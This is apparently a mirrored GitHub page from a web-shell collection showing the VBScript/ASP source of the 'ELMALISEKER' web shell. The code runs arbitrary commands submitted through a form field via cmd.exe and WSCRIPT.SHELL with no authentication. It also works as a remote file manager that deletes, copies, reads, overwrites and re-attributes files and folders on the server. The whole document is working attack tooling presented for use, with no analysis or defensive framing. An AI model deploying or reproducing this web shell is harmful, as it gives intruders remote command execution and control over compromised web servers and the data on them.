mirror of
https://github.com/tennc/webshell
synced 2024-11-14 15:37:10 +00:00
1004 lines
No EOL
38 KiB
Text
1004 lines
No EOL
38 KiB
Text
<%@ Language=VBScript %>
|
||
<%Dim oScript
|
||
Dim oScriptNet
|
||
Dim oFileSys, oFile
|
||
Dim szCMD, szTempFile
|
||
On Error Resume Next
|
||
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
|
||
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
|
||
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
|
||
szCMD = Request.Form(".CMD")
|
||
If (szCMD <> "") Then
|
||
szTempFile = "C:\" & oFileSys.GetTempName( )
|
||
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
|
||
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
|
||
End If%>
|
||
<% if request.form("flag")=""then %>
|
||
<html>
|
||
<head>
|
||
<title>::: ELMALISEKER :::</title>
|
||
<%
|
||
'Commands
|
||
dim fs,f
|
||
dim FilePath,FolderPath,FileTo,Cmd
|
||
dim selFolder,FolderTo
|
||
dim Tempmsg
|
||
dim TempAtt
|
||
dim TextOutput,TextWrite,TextFile,lblioMode,lblFormat,TextCreateFormat
|
||
Const ForReading = 1, ForWriting = 2, ForAppending = 3
|
||
Set fs = CreateObject("Scripting.FileSystemObject")
|
||
FilePath=Request.Form("FileName")
|
||
FolderPath=Request.Form("FolderPath")
|
||
selFolder=Request.Form("FolderName")
|
||
FolderTo=Request.form("CopyFolderTo")
|
||
FileTo=Request.Form("CopyFileTo")
|
||
Cmd=Request.Form("cmdOption")
|
||
TextCmd=Request.form("cmdtxtFileOption")
|
||
Select case Cmd
|
||
case "DeleteFile"
|
||
fs.deletefile FilePath,TRUE
|
||
response.write("File: " & FilePath & " has been deleted.")
|
||
case "DeleteFolder"
|
||
fs.deletefolder selFolder,TRUE
|
||
response.write("Folder: " & selFolder & " has been deleted.")
|
||
FolderPath=Request.form("RefreshFolderPath")
|
||
case "CopyFile"
|
||
fs.CopyFile FilePath,FileTo, TRUE
|
||
response.write("File: " & FilePath & " has been copied to " & FileTo & ".")
|
||
case "CopyFolder"
|
||
fs.CopyFolder selFolder,FolderTo, TRUE
|
||
response.write("Folder: " & selFolder & " has been copied to " & FolderTo & ".")
|
||
case "SetFileAttributes"
|
||
on error resume next
|
||
if FilePath <> "" then
|
||
Set f = fs.GetFile(FilePath)
|
||
select case f.attributes
|
||
case 0
|
||
FileAttributes = "Normal"
|
||
case 1
|
||
FileAttributes = "Read Only"
|
||
case 2
|
||
FileAttributes = "Hidden"
|
||
case 3 'Extra
|
||
FileAttributes = "Read Only, Hidden"
|
||
case 4
|
||
FileAttributes = "System"
|
||
case 7 'Extra
|
||
FileAttributes = "Read Only, Hidden, System"
|
||
case 8
|
||
FileAttributes = "Volume"
|
||
case 16
|
||
FileAttributes = "Directory"
|
||
case 19
|
||
FileAttributes = "Read Only, Hidden, Directoy"
|
||
case 23
|
||
FileAttributes = "Read Only, Hidden, System, Directory"
|
||
case 32
|
||
FileAttributes = "Archive"
|
||
case 33 'Extra
|
||
FileAttributes = "Read Only, Archive"
|
||
case 34 'Extra
|
||
FileAttributes = "Hidden, Archive"
|
||
case 38 'Extra
|
||
FileAttributes = "Hidden, Archive, System"
|
||
case 39 'Extra
|
||
FileAttributes = "Read Only, Hidden, Archive, System"
|
||
case 48
|
||
FileAttributes = "Directory, Archive"
|
||
case 64
|
||
FileAttributes = "Alias"
|
||
case 128
|
||
FileAttributes = "Compressed"
|
||
case else
|
||
FileAttributes = f.attributes
|
||
end select
|
||
end if
|
||
response.write("<form name=frmFileAttributes action=elmaliseker.asp method=post>")
|
||
response.write("<input type=hidden name=FileName Value=" & chr(34) & FilePath & chr(34) & ">")
|
||
response.write("<input type=hidden name=FolderPath Value=" & chr(34) & FolderPath & chr(34) & ">")
|
||
response.write("<center><Table border=5 cellpadding=3 bordercolor=#ffffff>")
|
||
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>File Name: " & f.name & "</td>")
|
||
response.write("<td rowspan=5><center><u><b>Set New Attributes:</b></u></center>")
|
||
response.write("<input type=checkbox name=FileAttribute1 value=0 checked>Normal")
|
||
response.write("<br><input type=checkbox name=FileAttribute2 value=1>Read Only")
|
||
response.write("<br><input type=checkbox name=FileAttribute3 value=2>Hidden")
|
||
response.write("<br><input type=checkbox name=FileAttribute4 value=4>System")
|
||
response.write("<br><input type=checkbox name=FileAttribute5 value=8>Volume")
|
||
response.write("<br><input type=checkbox name=FileAttribute6 value=16>Directory")
|
||
response.write("<br><input type=checkbox name=FileAttribute7 value=32>Archive")
|
||
response.write("<br><input type=checkbox name=FileAttribute8 value=64>Alias")
|
||
response.write("<br><input type=checkbox name=FileAttribute9 value=128>Compressed")
|
||
response.write("<br><center><input type=submit name=cmdOption value=ApplyFileAttributes></center>")
|
||
response.write("</td></tr>")
|
||
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Type of File: " & f.type & "</td></tr>")
|
||
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Location: " & f.path)
|
||
response.write("<br>Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)</td></tr>")
|
||
if f.DateCreated = "" then
|
||
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Created: ----")
|
||
else
|
||
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Created: " & f.DateCreated)
|
||
end if
|
||
if f.DateLastAccessed = "" then
|
||
response.write("<br>Modified: ----")
|
||
else
|
||
response.write("<br>Modified: " & f.DateLastAccessed)
|
||
end if
|
||
if f.DateLastModified = "" then
|
||
response.write("<br>Accessed: ----</td></tr>")
|
||
else
|
||
response.write("<br>Accessed: " & f.DateLastModified & "</td></tr>")
|
||
end if
|
||
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Attributes: " & FileAttributes & "</td></tr>")
|
||
response.write("</table></center></form>")
|
||
case "SetFolderAttributes"
|
||
on error resume next
|
||
FolderPath=Request.form("RefreshFolderPath")
|
||
if selFolder <> "" then
|
||
Set f = fs.Getfolder(selFolder)
|
||
select case f.attributes
|
||
case 0
|
||
FolderAttributes = "Normal"
|
||
case 1
|
||
FolderAttributes = "Read Only"
|
||
case 2
|
||
FolderAttributes = "Hidden"
|
||
case 3 'Extra
|
||
FolderAttributes = "Read Only, Hidden"
|
||
case 4
|
||
FolderAttributes = "System"
|
||
case 7 'Extra
|
||
FolderAttributes = "Read Only, Hidden, System"
|
||
case 8
|
||
FolderAttributes = "Volume"
|
||
case 16
|
||
FolderAttributes = "Directory"
|
||
case 17 'Extra
|
||
FolderAttributes = "Read Only, Directory"
|
||
case 18 'Extra
|
||
FolderAttributes = "Hidden, Directory"
|
||
case 19
|
||
FolderAttributes = "Read Only, Hidden, Directoy"
|
||
case 20 'Extra
|
||
FolderAttributes = "System, Directory"
|
||
case 22 'Extra
|
||
FolderAttributes = "Hidden, System. Directory"
|
||
case 23
|
||
FolderAttributes = "Read Only, Hidden, System, Directory"
|
||
case 32
|
||
FolderAttributes = "Archive"
|
||
case 33 'Extra
|
||
FolderAttributes = "Read Only, Archive"
|
||
case 34 'Extra
|
||
FolderAttributes = "Hidden, Archive"
|
||
case 38 'Extra
|
||
FolderAttributes = "Hidden, Archive, System"
|
||
case 39 'Extra
|
||
FolderAttributes = "Read Only, Hidden, Archive, System"
|
||
case 48
|
||
FolderAttributes = "Directory, Archive"
|
||
case 64
|
||
FolderAttributes = "Alias"
|
||
case 128
|
||
FolderAttributes = "Compressed"
|
||
case else
|
||
FolderAttributes = f1.attributes
|
||
end select
|
||
end if
|
||
response.write("<form name=frmFolderAttributes action=elmaliseker.asp method=post>")
|
||
response.write("<input type=hidden name=FolderName Value=" & chr(34) & selFolder & chr(34) & ">")
|
||
response.write("<input type=hidden name=FolderPath Value=" & chr(34) & FolderPath & chr(34) & ">")
|
||
response.write("<center><Table border=5 cellpadding=3 cellspacing=1 bordercolor=#ffffff>")
|
||
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Folder Name: " & f.name & "</td>")
|
||
response.write("<td rowspan=5><center><u><b>Set New Attributes:</b></u></center>")
|
||
response.write("<input type=checkbox name=FolderAttribute1 value=0 checked>Normal")
|
||
response.write("<br><input type=checkbox name=FolderAttribute2 value=1>Read Only")
|
||
response.write("<br><input type=checkbox name=FolderAttribute3 value=2>Hidden")
|
||
response.write("<br><input type=checkbox name=FolderAttribute4 value=4>System")
|
||
response.write("<br><input type=checkbox name=FolderAttribute5 value=8>Volume")
|
||
response.write("<br><input type=checkbox name=FolderAttribute6 value=16>Directory")
|
||
response.write("<br><input type=checkbox name=FolderAttribute7 value=32>Archive")
|
||
response.write("<br><input type=checkbox name=FolderAttribute8 value=64>Alias")
|
||
response.write("<br><input type=checkbox name=FolderAttribute9 value=128>Compressed")
|
||
response.write("<br><center><input type=submit name=cmdOption value=ApplyFolderAttributes></center>")
|
||
response.write("</td></tr>")
|
||
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Type of Folder: " & f.type & "</td></tr>")
|
||
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Location: " & f.path)
|
||
response.write("<br>Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)</td></tr>")
|
||
if f.DateCreated = "" then
|
||
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Created: ----")
|
||
else
|
||
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Created: " & f.DateCreated)
|
||
end if
|
||
if f.DateLastAccessed = "" then
|
||
response.write("<br>Modified: ----")
|
||
else
|
||
response.write("<br>Modified: " & f.DateLastAccessed)
|
||
end if
|
||
if f.DateLastModified = "" then
|
||
response.write("<br>Accessed: ----</td></tr>")
|
||
else
|
||
response.write("<br>Accessed: " & f.DateLastModified & "</td></tr>")
|
||
end if
|
||
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Attributes: " & FolderAttributes & "</td></tr>")
|
||
response.write("</table></center></form>")
|
||
case "OpenTextFile"
|
||
If FilePath <> "" then
|
||
lblioMode=Request.form("optiomode")
|
||
lblFormat=request.form("optformat")
|
||
set TextFile = fs.OpenTextFile (FilePath, lblioMode, lblFormat)
|
||
TextOutput = TextFile.ReadAll
|
||
'TextOutput=""
|
||
'Do While TextFile.AtEndOfStream <> True
|
||
' TextOutput = TextOutput & TextFile.ReadLine
|
||
'Loop
|
||
TextFile.close
|
||
else
|
||
FilePath = FolderPath
|
||
end if
|
||
response.write("<form name=frmTextFile action=elmaliseker.asp method=post>")
|
||
response.write("<center><table border=5 cellspacing=1 cellpadding=3 bordercolor=#ffffff width=100% height=100% >")
|
||
response.write("<tr><td bgcolor=#F8F8FF><input type=submit name=cmdtxtFileOption value=SaveAs><input type=text size=77 name=FileName value=" & chr(34) & FilePath & chr(34) & "><select name=optUnicode><option value=FALSE>ASCII <option value=TRUE>Unicode</select></td></tr>")
|
||
response.write("<tr><td bgcolor=#ffffff><center><textarea name=txtFile rows=20 cols=85>" & TextOutput & "</textarea></center></td></tr>")
|
||
response.write(chr(13))
|
||
response.write(chr(13))
|
||
response.write(chr(13))
|
||
response.write(chr(13))
|
||
response.write("<ERROR: THIS IS NOT A TEXT FILE>")
|
||
response.write(chr(13))
|
||
response.write("<FilePath: " & FilePath & ">")
|
||
response.write(chr(13))
|
||
response.write("<ioMode: " & lblioMode & ">")
|
||
response.write(chr(13))
|
||
response.write("<Format: " & lblFormat & ">")
|
||
response.write(chr(13))
|
||
response.write(chr(13))
|
||
response.write(chr(13))
|
||
response.write(chr(13))
|
||
response.write("<tr><td><input type=hidden name=FolderPath Value=" & chr(34) & FolderPath & chr(34) & "></td></tr>")
|
||
response.write("</table></center><p>")
|
||
case "ApplyFileAttributes"
|
||
TempAtt=int(Request.form("FileAttribute1"))
|
||
TempAtt=TempAtt + int(Request.form("FileAttribute2"))
|
||
TempAtt=TempAtt + int(Request.form("FileAttribute3"))
|
||
TempAtt=TempAtt + int(Request.form("FileAttribute4"))
|
||
TempAtt=TempAtt + int(Request.form("FileAttribute5"))
|
||
TempAtt=TempAtt + int(Request.form("FileAttribute6"))
|
||
TempAtt=TempAtt + int(Request.form("FileAttribute7"))
|
||
TempAtt=TempAtt + int(Request.form("FileAttribute8"))
|
||
TempAtt=TempAtt + int(Request.form("FileAttribute9"))
|
||
Set f = fs.GetFile(FilePath)
|
||
f.attributes=int(TempAtt)
|
||
response.write("File: " & FilePath & " attributes have been changed.")
|
||
case "ApplyFolderAttributes"
|
||
FolderPath=Request.form("RefreshFolderPath")
|
||
TempAtt=int(Request.form("FolderAttribute1"))
|
||
TempAtt=TempAtt + int(Request.form("FolderAttribute2"))
|
||
TempAtt=TempAtt + int(Request.form("FolderAttribute3"))
|
||
TempAtt=TempAtt + int(Request.form("FolderAttribute4"))
|
||
TempAtt=TempAtt + int(Request.form("FolderAttribute5"))
|
||
TempAtt=TempAtt + int(Request.form("FolderAttribute6"))
|
||
TempAtt=TempAtt + int(Request.form("FolderAttribute7"))
|
||
TempAtt=TempAtt + int(Request.form("FolderAttribute8"))
|
||
TempAtt=TempAtt + int(Request.form("FolderAttribute9"))
|
||
Set f = fs.Getfolder(selFolder)
|
||
f.attributes=int(TempAtt)
|
||
response.write("Folder: " & selFolder & " attributes have been changed.")
|
||
end select
|
||
Select Case TextCmd
|
||
case "SaveAs"
|
||
TextWrite = Request.form("txtFile")
|
||
TextCreateFormat = Request.form("optUnicode")
|
||
if textcreateformat = "TRUE" then
|
||
tempmsg="Unicode"
|
||
else
|
||
tempmsg="ASCII"
|
||
end if
|
||
Set TextFile = fs.CreateTextFile(FilePath, True, TextCreateFormat)
|
||
TextFile.Write TextWrite
|
||
TextFile.Close
|
||
response.write("File: " & FilePath & " Format: " & tempmsg & " has been saved.")
|
||
end select
|
||
%>
|
||
<%
|
||
Public CurrentPath
|
||
Function ShowDriveLetters()
|
||
on error resume next
|
||
Dim fs, d, dc, t
|
||
dim isReadyColor,TempSize,ShowDriveInfo
|
||
Set fs = CreateObject("Scripting.FileSystemObject")
|
||
Set dc = fs.Drives
|
||
ShowDriveInfo=Request.Form("chkShowDriveInfo")
|
||
response.write("<form name=lstDrives action=elmaliseker.asp method=post>")
|
||
response.write("<table border=5 cellspacing=1 cellpadding=3 bordercolor=#ffffff>")
|
||
if showdriveinfo="TRUE" then
|
||
response.write("<tr colspan=8><td align=center colspan=8 bgcolor=#F8F8FF><font color=#000000><input type=checkbox name=chkShowDriveInfo value=TRUE> Show Drive Info </td></tr>")
|
||
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>File System</u><b></td>")
|
||
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Serial #</u><b></td>")
|
||
else
|
||
response.write("<tr colspan=2><td align=center colspan=2 bgcolor=#f8f8ff><font color=#000000><input type=checkbox name=chkShowDriveInfo value=TRUE>Show Drive Info</td></tr>")
|
||
end if
|
||
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Type</u><b></td>")
|
||
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Drive</u><b></td>")
|
||
if showdriveinfo="TRUE" then
|
||
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Volume Name</u><b></td>")
|
||
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Share Name</u><b></td>")
|
||
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Free Space</u><b></td>")
|
||
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Total Size</u><b></td>")
|
||
end if
|
||
response.write("</tr>")
|
||
For Each d in dc
|
||
Select Case d.DriveType
|
||
Case 0: t = "Unknown"
|
||
Case 1: t = "Removable"
|
||
Case 2: t = "Fixed"
|
||
Case 3: t = "Network"
|
||
Case 4: t = "CD-ROM"
|
||
Case 5: t = "RAM Disk"
|
||
End Select
|
||
if showdriveinfo="TRUE" then
|
||
if d.isReady then
|
||
response.write("<TR bgcolor=#000000>")
|
||
else
|
||
response.write("<TR bgcolor=#191970>")
|
||
end if
|
||
if d.filesystem = "" then
|
||
response.write("<td align=center>....</td>")
|
||
else
|
||
response.write("<td align=center>" & d.filesystem & "</td>")
|
||
end if
|
||
if d.SerialNumber = "" then
|
||
response.write("<td align=center>....</td>")
|
||
else
|
||
response.write("<td align=center>" & d.SerialNumber & "</td>")
|
||
end if
|
||
else
|
||
response.write("<TR>")
|
||
end if
|
||
response.write("<td align=center>" & t & "</td>")
|
||
response.write("<td align=center><input type=submit name=FolderPath value=" & d.driveletter & ":\></td>")
|
||
if showdriveinfo="TRUE" then
|
||
if d.volumename="" then
|
||
response.write("<td align=center>....</td>")
|
||
else
|
||
response.write("<td align=center>" & d.volumename & "</td>")
|
||
end if
|
||
if d.sharename="" then
|
||
response.write("<td align=center>....</td>")
|
||
else
|
||
response.write("<td align=center>" & d.sharename & "</td>")
|
||
end if
|
||
str=""
|
||
str=str & d.driveletter
|
||
str=str & ":"
|
||
'response.write(str)
|
||
if d.isready then
|
||
freespace = (d.AvailableSpace / 1048576)
|
||
set sp=fs.getdrive(str)
|
||
response.write("<td align=center>" & Round(freespace,1) & " MB</td>")
|
||
else
|
||
response.write("<td align=center>....</td>")
|
||
end if
|
||
str=""
|
||
str=str & d.driveletter
|
||
str=str & ":"
|
||
'response.write(str)
|
||
if d.isready then
|
||
totalspace = (d.TotalSize / 1048576)
|
||
set sp=fs.getdrive(str)
|
||
response.write("<td align=center>" & Round(totalspace,1) & " MB</td>")
|
||
else
|
||
response.write("<td align=center>....</td>")
|
||
end if
|
||
end if
|
||
Next
|
||
response.write("</tr>")
|
||
response.write("</tr></table>")
|
||
response.write("</form>")
|
||
End Function
|
||
Function ShowFolderNames()
|
||
on error resume next
|
||
Dim fs, f, f1, s, sf ,FP
|
||
dim ShowFolderInfo,FolderAttributes
|
||
ShowFolderInfo=request.form("chkShowFolderInfo")
|
||
FP=Request.Form("FolderPath")
|
||
if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then
|
||
FP=request.form("RefreshFolderPath")
|
||
IP=chr(34) & IP & chr(34)
|
||
end if
|
||
CurrentPath=FP
|
||
Set fs = CreateObject("Scripting.FileSystemObject")
|
||
Set f = fs.GetFolder(FP)
|
||
Set sf = f.SubFolders
|
||
response.write("<form name=lstFolders action=elmaliseker.asp method=post>")
|
||
response.write("<table border=5 cellspacing=1 cellpadding=3 bordercolor=#ffffff>")
|
||
response.write("<tr colspan=10><td align=left colspan=10 bgcolor=#F8F8FF><font color=#000000><input type=Submit name=FolderPath value=RefreshFolder></td></tr>")
|
||
response.write("<input type=hidden name=RefreshFolderPath value=" & chr(34) & fp & chr(34) & ">")
|
||
response.write("<tr colspan=10><td align=left colspan=10 bgcolor=#F8F8FF><font color=#000000><input type=checkbox name=chkShowFolderInfo value=TRUE> Show Folder Info</td></tr>")
|
||
response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=DeleteFolder><br><input type=submit name=cmdOption Value=CopyFolder> to <input type=text name=CopyFolderTo></td></tr>")
|
||
response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=SetFolderAttributes>")
|
||
if showfolderinfo="TRUE" then
|
||
response.write("<TR>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Folder</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Size</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Type</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Attributes</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Created</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Last Accessed</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Last Modified</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Short Name</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Short Path</u></b></td>")
|
||
response.write("</tr>")
|
||
end if
|
||
For Each f1 in sf
|
||
if showfolderinfo="TRUE" then
|
||
response.write("<tr>")
|
||
response.write("<td><input type=radio name=FolderName value=" & chr(34) & FP & f1.name & chr(34) & "><Input type=submit name=FolderPath value=" & chr(34) & FP & F1.name & "\" & chr(34) & "></td>")
|
||
response.write("<td align=center nowrap>" & FormatNumber(f1.size/1024, 0) & " kb</td>")
|
||
response.write("<td align=center nowrap>" & f1.type & "</td>")
|
||
folderattributes="...."
|
||
select case f1.attributes
|
||
case 0
|
||
FolderAttributes = "Normal"
|
||
case 1
|
||
FolderAttributes = "Read Only"
|
||
case 2
|
||
FolderAttributes = "Hidden"
|
||
case 3 'Extra
|
||
FolderAttributes = "Read Only, Hidden"
|
||
case 4
|
||
FolderAttributes = "System"
|
||
case 7 'Extra
|
||
FolderAttributes = "Read Only, Hidden, System"
|
||
case 8
|
||
FolderAttributes = "Volume"
|
||
case 16
|
||
FolderAttributes = "Directory"
|
||
case 17 'Extra
|
||
FolderAttributes = "Read Only, Directory"
|
||
case 18 'Extra
|
||
FolderAttributes = "Hidden, Directory"
|
||
case 19
|
||
FolderAttributes = "Read Only, Hidden, Directoy"
|
||
case 20 'Extra
|
||
FolderAttributes = "System, Directory"
|
||
case 22 'Extra
|
||
FolderAttributes = "Hidden, System. Directory"
|
||
case 23
|
||
FolderAttributes = "Read Only, Hidden, System, Directory"
|
||
case 32
|
||
FolderAttributes = "Archive"
|
||
case 33 'Extra
|
||
FolderAttributes = "Read Only, Archive"
|
||
case 34 'Extra
|
||
FolderAttributes = "Hidden, Archive"
|
||
case 38 'Extra
|
||
FolderAttributes = "Hidden, Archive, System"
|
||
case 39 'Extra
|
||
FolderAttributes = "Read Only, Hidden, Archive, System"
|
||
case 48
|
||
FolderAttributes = "Directory, Archive"
|
||
case 64
|
||
FolderAttributes = "Alias"
|
||
case 128
|
||
FolderAttributes = "Compressed"
|
||
case else
|
||
FolderAttributes = f1.attributes
|
||
end select
|
||
response.write("<td align=center nowrap>" & FolderAttributes & "</td>")
|
||
if f1.datecreated = "" then
|
||
response.write("<td align=center nowrap>....</td>")
|
||
else
|
||
response.write("<td align=center nowrap>" & f1.datecreated & "</td>")
|
||
end if
|
||
if f1.datelastaccessed = "" then
|
||
response.write("<td align=center nowrap>....</td>")
|
||
else
|
||
response.write("<td align=center nowrap>" & f1.datelastaccessed & "</td>")
|
||
end if
|
||
if f1.datelastmodified = "" then
|
||
response.write("<td align=center nowrap>....</td>")
|
||
else
|
||
response.write("<td align=center nowrap>" & f1.datelastmodified & "</td>")
|
||
end if
|
||
response.write("<td align=center nowrap>" & f1.shortname & "</td>")
|
||
response.write("<td align=center nowrap>" & f1.shortpath & "\</td></tr>")
|
||
else
|
||
response.write("<tr><td><input type=radio name=FolderName value=" & chr(34) & FP & f1.name & chr(34) & "><Input type=submit name=FolderPath value=" & chr(34) & FP & F1.name & "\" & chr(34) & "></td></tr>")
|
||
end if
|
||
Next
|
||
response.write("</table>")
|
||
response.write("</form>")
|
||
End Function
|
||
Function ShowFileNames()
|
||
on error resume next
|
||
Dim fs, f, f1, fc, FP
|
||
dim ShowFileInfo,FileAttributes,ShowPrefix
|
||
ShowPrefix=request.form("txtShowPrefix")
|
||
ShowFileInfo=Request.form("chkShowFileInfo")
|
||
FP=Request.Form("FolderPath")
|
||
if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then
|
||
FP=request.form("RefreshFolderPath")
|
||
IP=chr(34) & IP & chr(34)
|
||
end if
|
||
CurrentPath=FP
|
||
Set fs = CreateObject("Scripting.FileSystemObject")
|
||
Set f = fs.GetFolder(FP)
|
||
Set fc = f.Files
|
||
response.write("<form name=lstFiles action=elmaliseker.asp method=post>")
|
||
response.write("<table border=5 cellspacing=1 cellpadding=3 bordercolor=#ffffff>")
|
||
response.write("<tr colspan=10><td align=left colspan=10 bgcolor=#F8F8FF><font color=#000000><input type=submit value=RefreshFiles> <input type=checkbox name=chkShowFileInfo value=TRUE> Show File Info &<br>Show Only: <input type=text name=txtShowPrefix value= ></td></tr>")
|
||
response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=DeleteFile><input type=submit name=cmdOption Value=CopyFile> to <input type=text name=CopyFileTo></td></tr>")
|
||
response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=OpenTextFile><select name=optioMode><option value=" & chr(34) & "1" & chr(34) & ">For Reading <option value="& chr(34) & "2" & chr(34) & ">For Writing <option value=" & chr(34) & "8" & chr(34) & ">For Appending</select><select name=optformat><option value=" & chr(34) & "-2" & chr(34) & ">System Default <option value=" & chr(34) & "-1" & chr(34) & ">Unicode <option value=" & chr(34) & "0" & chr(34) & ">ASCII</select></td>")
|
||
response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=SetFileAttributes>")
|
||
response.write("<input type=hidden name=FolderPath Value=" & chr(34) & fp & chr(34) & "></tr>")
|
||
if showfileinfo="TRUE" then
|
||
response.write("<TR>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>File</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Size</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Type</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Attributes</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Created</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Last Accessed</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Last Modified</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Short Name</u></b></td>")
|
||
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Short Path</u></b></td>")
|
||
response.write("</tr>")
|
||
end if
|
||
For Each f1 in fc
|
||
if showfileinfo="TRUE" then
|
||
if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then
|
||
response.write("<tr>")
|
||
response.write("<td align=center nowrap><input type=radio name=FileName value=" & chr(34) & FP & f1.name & chr(34) & ">" & f1.name & "</td>")
|
||
response.write("<td align=center nowrap>" & FormatNumber(f1.size/1024, 0) & " kb</td>")
|
||
response.write("<td align=center nowrap>" & f1.type & "</td>")
|
||
select case f1.attributes
|
||
case 0
|
||
FileAttributes = "Normal"
|
||
case 1
|
||
FileAttributes = "Read Only"
|
||
case 2
|
||
FileAttributes = "Hidden"
|
||
case 3 'Extra
|
||
FileAttributes = "Read Only, Hidden"
|
||
case 4
|
||
FileAttributes = "System"
|
||
case 7 'Extra
|
||
FileAttributes = "Read Only, Hidden, System"
|
||
case 8
|
||
FileAttributes = "Volume"
|
||
case 16
|
||
FileAttributes = "Directory"
|
||
case 19
|
||
FileAttributes = "Read Only, Hidden, Directoy"
|
||
case 23
|
||
FileAttributes = "Read Only, Hidden, System, Directory"
|
||
case 32
|
||
FileAttributes = "Archive"
|
||
case 33 'Extra
|
||
FileAttributes = "Read Only, Archive"
|
||
case 34 'Extra
|
||
FileAttributes = "Hidden, Archive"
|
||
case 38 'Extra
|
||
FileAttributes = "Hidden, Archive, System"
|
||
case 39 'Extra
|
||
FileAttributes = "Read Only, Hidden, Archive, System"
|
||
case 48
|
||
FileAttributes = "Directory, Archive"
|
||
case 64
|
||
FileAttributes = "Alias"
|
||
case 128
|
||
FileAttributes = "Compressed"
|
||
case else
|
||
FileAttributes = f1.attributes
|
||
end select
|
||
response.write("<td align=center nowrap>" & FileAttributes & "</td>")
|
||
if f1.datecreated = "" then
|
||
response.write("<td align=center nowrap>....</td>")
|
||
else
|
||
response.write("<td align=center nowrap>" & f1.datecreated & "</td>")
|
||
end if
|
||
if f1.datelastaccessed = "" then
|
||
response.write("<td align=center nowrap>....</td>")
|
||
else
|
||
response.write("<td align=center nowrap>" & f1.datelastaccessed & "</td>")
|
||
end if
|
||
if f1.datelastmodified = "" then
|
||
response.write("<td align=center nowrap>....</td>")
|
||
else
|
||
response.write("<td align=center nowrap>" & f1.datelastmodified & "</td>")
|
||
end if
|
||
response.write("<td align=center nowrap>" & f1.shortname & "</td>")
|
||
response.write("<td align=center nowrap>" & f1.shortpath & "</td></tr>")
|
||
end if
|
||
else
|
||
if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then
|
||
response.write("<tr><td><input type=radio name=FileName value=" & chr(34) & FP & f1.name & chr(34) & ">" & f1.name & "</td></tr>")
|
||
end if
|
||
end if
|
||
Next
|
||
response.write("</table>")
|
||
response.write("</form>")
|
||
End Function
|
||
%>
|
||
<STYLE>
|
||
BODY
|
||
{scrollbar-face-color: #f8f8ff; scrollbar-shadow-color: #cccccc;
|
||
scrollbar-highlight-color: #cccccc; scrollbar-3dlight-color: #cccccc;
|
||
scrollbar-darkshadow-color: #000000; scrollbar-track-color: #000000;
|
||
scrollbar-arrow-color: #000000}
|
||
